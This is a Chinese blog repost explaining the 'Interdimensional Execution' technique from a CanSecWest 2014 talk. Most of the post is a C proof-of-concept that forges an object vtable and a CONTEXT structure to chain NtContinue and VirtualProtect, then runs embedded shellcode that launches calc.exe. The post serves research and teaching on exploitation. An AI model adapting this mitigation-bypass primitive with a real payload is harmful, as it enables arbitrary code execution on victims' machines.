注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

【转】tk的间接执行  

2014-08-22 10:24:48|  分类: 参考文章 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

不懂Interdimensional Execution什么意思,翻译是维度执行,感觉不通,我就随便叫间接执行了。

文章见:https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf

原理大概就是构造一个假对象,并在脚本层面得到相应的函数,然后通过对象方法执行。

poc如下:

//
// This code might help you understand the principle of "Interdimensional Execution"
// http://twitter.com/tombkeeper
//

#include <windows.h>

struct _Obj
{
    FARPROC * vt;
    DWORD type;
    DWORD length;
    DWORD * data;
};

void getlen( struct _Obj* obj )
{
    printf( "Item count: %.8x\n", obj->length );
}

void main()
{
    FARPROC funcs[4] = { (FARPROC)getlen, (FARPROC)getlen, (FARPROC)getlen, (FARPROC)getlen };
    DWORD arr[] = { 0x11111111, 0x22222222, 0x33333333 };
    FARPROC pNtContinue;
    FARPROC pVirtualProtect;
    FARPROC pWinExec;
    FARPROC pExitProcess;
    struct _Obj *obj;
    DWORD   * fptable;
    DWORD   * fstack;
    BYTE    * shellcode;
    DWORD   * sctable;
    CONTEXT * c;

    obj = (struct _Obj *)calloc( 0x20000, 1 );
    if( obj == NULL )
    {
        printf( "Can't allocate memory\n" );
        exit(0);
    }

    obj->vt = funcs;
    obj->type = 1;
    obj->length = sizeof(arr)/sizeof(arr[0]);
    obj->data = arr;
    obj->vt[2]( obj );

    pNtContinue = GetProcAddress( GetModuleHandle("ntdll.dll"), "NtContinue" );
    pVirtualProtect = GetProcAddress( GetModuleHandle("kernel32.dll"), "VirtualProtect" );
    fptable   = (DWORD *)( ((DWORD)obj & 0xffffff00) + 0x4003  );
    shellcode = (BYTE  *)( (DWORD)obj                + 0x8000  );
    fstack    = (DWORD *)( (DWORD)obj                + 0x10000 );
    sctable   = (DWORD *)( (DWORD)obj                + 0x14000 );
    // fill _CONTEXT
    fptable[2] = (DWORD)pNtContinue;
    c = (CONTEXT *)obj;
    c->ContextFlags = (DWORD)fptable; // ContextFlags, also a fake pointer table
    c->Eip = (DWORD)pVirtualProtect;
    c->Esp = (DWORD)fstack;
    // prepare stack frame for VirtualProtect
    fstack[0] = (DWORD)shellcode;              // return address
    fstack[1] = (DWORD)shellcode & 0xfffff000; // address
    fstack[2] = 0x4000;                        // size
    fstack[3] = 0x40;                          // PAGE_EXECUTE_READWRITE
    fstack[4] = (DWORD)&(fstack[6]);           // OldProtect
    // prepare the shellcode
    pWinExec = GetProcAddress( GetModuleHandle("kernel32.dll"), "WinExec" );
    pExitProcess = GetProcAddress( GetModuleHandle("kernel32.dll"), "ExitProcess" );
    sctable[0] = (DWORD)pWinExec;
    sctable[1] = (DWORD)pExitProcess;
    sctable[2] = (DWORD)&(sctable[3]);
    strcpy( (char *)&(sctable[3]), "calc.exe" );
    memcpy( shellcode, "\x55\x8B\xEC\x83\xEC\x0C\xBD", 7 );
    *(DWORD *)(shellcode+7) = (DWORD)sctable+0xC;
    memcpy( shellcode+7+4, "\x6A\x01\xFF\x75\xFC\xFF\x55\xF4\x6A\x00\xFF\x55\xF8\xC9\xC3", 15 );
    // trigger
    obj->vt[2]( obj );

}

  评论这张
 
阅读(185)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017